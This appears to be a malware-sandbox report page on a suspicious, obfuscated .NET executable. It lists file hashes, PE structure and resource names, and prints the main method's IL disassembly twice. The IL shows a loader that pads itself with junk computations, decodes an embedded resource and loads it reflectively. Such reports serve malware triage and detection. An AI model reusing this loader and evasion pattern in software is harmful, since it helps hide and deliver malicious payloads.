Suspicious
Suspect

PE Executable
MD5: 6a8120d44fdd384486f82c2601abc33b
Size: 588.29 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
MD5 6a8120d44fdd384486f82c2601abc33b
Sha1 6efb441f89f6ed0b8fa34a2eed41b3582440adc3
Sha256 57607b9ff9f4aeb330e0a10dc78237e87fc0fa2bc922cfcbd5e4d2eae336e7a7
Sha384 c1153d4742728e005cd005f45e796b1c88dd85967a96974c4aacdf90eb94a14a2f20effe2bb26d32e1b48c7c6b871fda
Sha512 2e6c5727693385185add5012d42b6b53aa5e5848ea2b5d06caaa9173a69efee028624e68591c6a8a261e4e5fa1ccfbc8d0eee9a6a33682229517b715a087c847
SSDeep 12288:eUAuiZcstO5Lkq6C06MNfK6gCYzcRG96p:uuiZcstwoCiI6twcRrp
TLSH 64C49D3623E85B55F4BF9B38957110008BF1BC16D727EB5EBD9814ED1931B80CAA6B23
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
6a8120d44fdd384486f82c2601abc33b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
Kpr92Goqx5x.g.resources
Kpr92Goqx5x.Resources.resources
da77c07efd52d3.Resources.resources
9332db090
[NBF]root.Data
9332db091
[NBF]root.Data
9332db092
[NBF]root.Data
9332db093
[NBF]root.Data
9332db094
[NBF]root.Data
9332db095
[NBF]root.Data
9332db096
[NBF]root.Data
Name Value
Info
PE Detect: PeReader OK (file layout)
Module Name
Kpr92Goqx5x
Full Name
Kpr92Goqx5x
EntryPoint
System.Void Kpr92Goqx5x.9YqmfzN4::cEp2Mq1o()
Scope Name
Kpr92Goqx5x
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Kpr92Goqx5x
Assembly Version
16.18.11.93
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.6
Total Strings
1341
Main Method
System.Void Kpr92Goqx5x.9YqmfzN4::cEp2Mq1o()
Main IL Instruction Count
338
Main IL 
nop <null>
nop <null>
call System.Void System.Windows.Forms.Application::EnableVisualStyles()
nop <null>
call System.DateTime System.DateTime::get_Now()
stloc.0 <null>
ldc.i4 10001
newarr System.Int32
stloc.1 <null>
ldloc.1 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_14
ldc.i4.0 <null>
stloc.s V_15
br.s IL_003A: ldloc.s V_15
ldloc.1 <null>
ldloc.s V_15
ldloc.s V_15
ldc.i4.s 31
mul.ovf <null>
ldc.i4 10000
rem <null>
stelem.i4 <null>
ldloc.s V_15
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_15
ldloc.s V_15
ldloc.s V_14
ble.s IL_0025: ldloc.1
ldloc.1 <null>
call System.Void System.Array::Sort<System.Int32>(System.Int32[])
nop <null>
ldc.i4.s 26
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr SystemTools
ldstr cache.cfg
call System.String System.IO.Path::Combine(System.String,System.String,System.String)
stloc.2 <null>
ldc.r8 24
call System.Double System.Math::Abs(System.Double)
call System.Double System.Math::Round(System.Double)
conv.ovf.i4 <null>
stloc.3 <null>
ldloc.3 <null>
call System.Object Kpr92Goqx5x.1XenmqF0/xPq15eDt.0tgEY::3Rkxb7Aife(System.Int32)
castclass System.Object[]
stloc.s V_4
ldstr resources/13
ldc.i4.0 <null>
newarr System.Object
call System.String System.String::Format(System.String,System.Object[])
stloc.s V_5
ldloc.s V_4
ldc.i4.0 <null>
ldloc.s V_5
stelem.ref <null>
ldloc.s V_4
ldc.i4.2 <null>
ldloc.s V_4
ldc.i4.0 <null>
ldelem.ref <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Byte[] Kpr92Goqx5x.Ajr13TtqPp2r4::0qeTx7XkYm8o6i(System.String)
stelem.ref <null>
call System.String System.IO.Path::GetTempPath()
stloc.s V_6
ldloc.s V_6
call System.Boolean System.IO.Directory::Exists(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_16
ldloc.s V_16
brfalse.s IL_00C9: ldc.i4.s 100
ldloc.s V_6
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldc.i4.s 100
stloc.s V_7
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32)
stloc.s V_8
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32)
stloc.s V_9
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32)
stloc.s V_10
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_17
ldc.i4.0 <null>
stloc.s V_18
br.s IL_014E: ldloc.s V_18
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_19
ldc.i4.0 <null>
stloc.s V_20
br.s IL_0142: ldloc.s V_20
ldloc.s V_8
ldloc.s V_18
ldloc.s V_20
ldloc.s V_18
ldloc.s V_20
add.ovf <null>
call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32)
ldloc.s V_9
ldloc.s V_18
ldloc.s V_20
ldloc.s V_18
ldloc.s V_20
mul.ovf <null>
call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32)
ldloc.s V_20
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_20
ldloc.s V_20
ldloc.s V_19
ble.s IL_011C: ldloc.s V_8
ldloc.s V_18
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_18
ldloc.s V_18
ldloc.s V_17
ble.s IL_0111: ldloc.s V_7
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_21
ldc.i4.0 <null>
stloc.s V_22
br.s IL_01C9: ldloc.s V_22
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_23
ldc.i4.0 <null>
stloc.s V_24
br.s IL_01BD: ldloc.s V_24
ldloc.s V_10
ldloc.s V_22
ldloc.s V_24
ldc.i4.0 <null>
call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32)
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_25
ldc.i4.0 <null>
stloc.s V_26
br.s IL_01B1: ldloc.s V_26
ldloc.s V_10
ldloc.s V_22
ldloc.s V_24
call System.Int32& System.Int32[0...,0...]::Address(System.Int32,System.Int32)
dup <null>
stloc.s V_27
ldloc.s V_27
ldind.i4 <null>
ldloc.s V_8
ldloc.s V_22
ldloc.s V_26
call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32)
ldloc.s V_9
ldloc.s V_26
ldloc.s V_24
call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32)
mul.ovf <null>
add.ovf <null>
stind.i4 <null>
ldloc.s V_26
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_26
ldloc.s V_26
ldloc.s V_25
ble.s IL_0181: ldloc.s V_10
ldloc.s V_24
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_24
ldloc.s V_24
ldloc.s V_23
ble.s IL_016A: ldloc.s V_10
ldloc.s V_22
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_22
ldloc.s V_22
ldloc.s V_21
ble.s IL_015F: ldloc.s V_7
ldloc.s V_4
ldc.i4.3 <null>
ldloc.s V_4
ldc.i4.2 <null>
ldelem.ref <null>
castclass System.Byte[]
call System.Byte[] Kpr92Goqx5x.Qyy7mS0z/Gwj0p4Kp.zx7WCeq4/Xw2ec0BsDmt4xG.2iaRZ6qmrX5::Xt6r8(System.Byte[])
stelem.ref <null>
ldloc.s V_10
ldc.i4.s 50
ldc.i4.s 50
call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32)
ldc.i4.s 100
rem <null>
conv.r8 <null>
ldc.r8 100
div <null>
stloc.s V_11
ldloc.s V_11
ldc.r8 0.95
clt <null>
stloc.s V_12
ldc.r8 0
stloc.s V_13
ldc.i4.0 <null>
stloc.s V_28
ldloc.s V_13
ldc.r8 -1
ldloc.s V_28
conv.r8 <null>
call System.Double System.Math::Pow(System.Double,System.Double)
ldc.i4.2 <null>
ldloc.s V_28
mul.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
conv.r8 <null>
div <null>
add <null>
stloc.s V_13
ldloc.s V_28
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_28
ldloc.s V_28
ldc.i4 1000000
ble.s IL_0219: ldloc.s V_13
ldloc.s V_13
ldc.r8 4
mul <null>
stloc.s V_13
nop <null>
ldstr SystemService
call System.Boolean System.Diagnostics.EventLog::SourceExists(System.String)
stloc.s V_29
ldloc.s V_29
brfalse.s IL_02AA: nop
nop <null>
ldstr Application
newobj System.Void System.Diagnostics.EventLog::.ctor(System.String)
stloc.s V_30
ldloc.s V_30
ldstr SystemService
callvirt System.Void System.Diagnostics.EventLog::set_Source(System.String)
nop <null>
ldloc.s V_30
ldstr Module initialized. PI≈{0:F5}
ldloc.s V_13
box System.Double
call System.String System.String::Format(System.String,System.Object)
ldc.i4.4 <null>
callvirt System.Void System.Diagnostics.EventLog::WriteEntry(System.String,System.Diagnostics.EventLogEntryType)
nop <null>
leave.s IL_02A9: nop
nop <null>
ldloc.s V_30
brfalse.s IL_02A8: endfinally
ldloc.s V_30
callvirt System.Void System.IDisposable::Dispose()
nop <null>
endfinally <null>
nop <null>
nop <null>
leave.s IL_02BA: nop
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_02BA: nop
nop <null>
ldstr L o a d
ldloc.s V_4
ldc.i4.3 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
call System.Object Kpr92Goqx5x.9YqmfzN4/Rn4e9Bfs.qk7H3F::Gy9daAk5(System.String,System.Object)
pop <null>
leave.s IL_02F2: nop
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_31
nop <null>
nop <null>
leave.s IL_02EA: nop
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_02EA: nop
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_02F2: nop
nop <null>
ret <null>
Module Name
Kpr92Goqx5x
Full Name
Kpr92Goqx5x
EntryPoint
System.Void Kpr92Goqx5x.9YqmfzN4::cEp2Mq1o()
Scope Name
Kpr92Goqx5x
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
Kpr92Goqx5x
Assembly Version
16.18.11.93
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.6
Total Strings
1341
Main Method
System.Void Kpr92Goqx5x.9YqmfzN4::cEp2Mq1o()
Main IL Instruction Count
338
Main IL 
nop <null>
nop <null>
call System.Void System.Windows.Forms.Application::EnableVisualStyles()
nop <null>
call System.DateTime System.DateTime::get_Now()
stloc.0 <null>
ldc.i4 10001
newarr System.Int32
stloc.1 <null>
ldloc.1 <null>
ldlen <null>
conv.i4 <null>
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_14
ldc.i4.0 <null>
stloc.s V_15
br.s IL_003A: ldloc.s V_15
ldloc.1 <null>
ldloc.s V_15
ldloc.s V_15
ldc.i4.s 31
mul.ovf <null>
ldc.i4 10000
rem <null>
stelem.i4 <null>
ldloc.s V_15
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_15
ldloc.s V_15
ldloc.s V_14
ble.s IL_0025: ldloc.1
ldloc.1 <null>
call System.Void System.Array::Sort<System.Int32>(System.Int32[])
nop <null>
ldc.i4.s 26
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
ldstr SystemTools
ldstr cache.cfg
call System.String System.IO.Path::Combine(System.String,System.String,System.String)
stloc.2 <null>
ldc.r8 24
call System.Double System.Math::Abs(System.Double)
call System.Double System.Math::Round(System.Double)
conv.ovf.i4 <null>
stloc.3 <null>
ldloc.3 <null>
call System.Object Kpr92Goqx5x.1XenmqF0/xPq15eDt.0tgEY::3Rkxb7Aife(System.Int32)
castclass System.Object[]
stloc.s V_4
ldstr resources/13
ldc.i4.0 <null>
newarr System.Object
call System.String System.String::Format(System.String,System.Object[])
stloc.s V_5
ldloc.s V_4
ldc.i4.0 <null>
ldloc.s V_5
stelem.ref <null>
ldloc.s V_4
ldc.i4.2 <null>
ldloc.s V_4
ldc.i4.0 <null>
ldelem.ref <null>
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Byte[] Kpr92Goqx5x.Ajr13TtqPp2r4::0qeTx7XkYm8o6i(System.String)
stelem.ref <null>
call System.String System.IO.Path::GetTempPath()
stloc.s V_6
ldloc.s V_6
call System.Boolean System.IO.Directory::Exists(System.String)
ldc.i4.0 <null>
ceq <null>
stloc.s V_16
ldloc.s V_16
brfalse.s IL_00C9: ldc.i4.s 100
ldloc.s V_6
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldc.i4.s 100
stloc.s V_7
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32)
stloc.s V_8
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32)
stloc.s V_9
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
newobj System.Void System.Int32[0...,0...]::.ctor(System.Int32,System.Int32)
stloc.s V_10
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_17
ldc.i4.0 <null>
stloc.s V_18
br.s IL_014E: ldloc.s V_18
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_19
ldc.i4.0 <null>
stloc.s V_20
br.s IL_0142: ldloc.s V_20
ldloc.s V_8
ldloc.s V_18
ldloc.s V_20
ldloc.s V_18
ldloc.s V_20
add.ovf <null>
call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32)
ldloc.s V_9
ldloc.s V_18
ldloc.s V_20
ldloc.s V_18
ldloc.s V_20
mul.ovf <null>
call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32)
ldloc.s V_20
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_20
ldloc.s V_20
ldloc.s V_19
ble.s IL_011C: ldloc.s V_8
ldloc.s V_18
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_18
ldloc.s V_18
ldloc.s V_17
ble.s IL_0111: ldloc.s V_7
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_21
ldc.i4.0 <null>
stloc.s V_22
br.s IL_01C9: ldloc.s V_22
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_23
ldc.i4.0 <null>
stloc.s V_24
br.s IL_01BD: ldloc.s V_24
ldloc.s V_10
ldloc.s V_22
ldloc.s V_24
ldc.i4.0 <null>
call System.Void System.Int32[0...,0...]::Set(System.Int32,System.Int32,System.Int32)
ldloc.s V_7
ldc.i4.1 <null>
sub.ovf <null>
stloc.s V_25
ldc.i4.0 <null>
stloc.s V_26
br.s IL_01B1: ldloc.s V_26
ldloc.s V_10
ldloc.s V_22
ldloc.s V_24
call System.Int32& System.Int32[0...,0...]::Address(System.Int32,System.Int32)
dup <null>
stloc.s V_27
ldloc.s V_27
ldind.i4 <null>
ldloc.s V_8
ldloc.s V_22
ldloc.s V_26
call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32)
ldloc.s V_9
ldloc.s V_26
ldloc.s V_24
call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32)
mul.ovf <null>
add.ovf <null>
stind.i4 <null>
ldloc.s V_26
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_26
ldloc.s V_26
ldloc.s V_25
ble.s IL_0181: ldloc.s V_10
ldloc.s V_24
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_24
ldloc.s V_24
ldloc.s V_23
ble.s IL_016A: ldloc.s V_10
ldloc.s V_22
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_22
ldloc.s V_22
ldloc.s V_21
ble.s IL_015F: ldloc.s V_7
ldloc.s V_4
ldc.i4.3 <null>
ldloc.s V_4
ldc.i4.2 <null>
ldelem.ref <null>
castclass System.Byte[]
call System.Byte[] Kpr92Goqx5x.Qyy7mS0z/Gwj0p4Kp.zx7WCeq4/Xw2ec0BsDmt4xG.2iaRZ6qmrX5::Xt6r8(System.Byte[])
stelem.ref <null>
ldloc.s V_10
ldc.i4.s 50
ldc.i4.s 50
call System.Int32 System.Int32[0...,0...]::Get(System.Int32,System.Int32)
ldc.i4.s 100
rem <null>
conv.r8 <null>
ldc.r8 100
div <null>
stloc.s V_11
ldloc.s V_11
ldc.r8 0.95
clt <null>
stloc.s V_12
ldc.r8 0
stloc.s V_13
ldc.i4.0 <null>
stloc.s V_28
ldloc.s V_13
ldc.r8 -1
ldloc.s V_28
conv.r8 <null>
call System.Double System.Math::Pow(System.Double,System.Double)
ldc.i4.2 <null>
ldloc.s V_28
mul.ovf <null>
ldc.i4.1 <null>
add.ovf <null>
conv.r8 <null>
div <null>
add <null>
stloc.s V_13
ldloc.s V_28
ldc.i4.1 <null>
add.ovf <null>
stloc.s V_28
ldloc.s V_28
ldc.i4 1000000
ble.s IL_0219: ldloc.s V_13
ldloc.s V_13
ldc.r8 4
mul <null>
stloc.s V_13
nop <null>
ldstr SystemService
call System.Boolean System.Diagnostics.EventLog::SourceExists(System.String)
stloc.s V_29
ldloc.s V_29
brfalse.s IL_02AA: nop
nop <null>
ldstr Application
newobj System.Void System.Diagnostics.EventLog::.ctor(System.String)
stloc.s V_30
ldloc.s V_30
ldstr SystemService
callvirt System.Void System.Diagnostics.EventLog::set_Source(System.String)
nop <null>
ldloc.s V_30
ldstr Module initialized. PI≈{0:F5}
ldloc.s V_13
box System.Double
call System.String System.String::Format(System.String,System.Object)
ldc.i4.4 <null>
callvirt System.Void System.Diagnostics.EventLog::WriteEntry(System.String,System.Diagnostics.EventLogEntryType)
nop <null>
leave.s IL_02A9: nop
nop <null>
ldloc.s V_30
brfalse.s IL_02A8: endfinally
ldloc.s V_30
callvirt System.Void System.IDisposable::Dispose()
nop <null>
endfinally <null>
nop <null>
nop <null>
leave.s IL_02BA: nop
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_02BA: nop
nop <null>
ldstr L o a d
ldloc.s V_4
ldc.i4.3 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
call System.Object Kpr92Goqx5x.9YqmfzN4/Rn4e9Bfs.qk7H3F::Gy9daAk5(System.String,System.Object)
pop <null>
leave.s IL_02F2: nop
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_31
nop <null>
nop <null>
leave.s IL_02EA: nop
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_02EA: nop
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_02F2: nop
nop <null>
ret <null>
6a8120d44fdd384486f82c2601abc33b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
.Net Resources
Kpr92Goqx5x.g.resources
Kpr92Goqx5x.Resources.resources
da77c07efd52d3.Resources.resources
9332db090
[NBF]root.Data
9332db091
[NBF]root.Data
9332db092
[NBF]root.Data
9332db093
[NBF]root.Data
9332db094
[NBF]root.Data
9332db095
[NBF]root.Data
9332db096
[NBF]root.Data
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙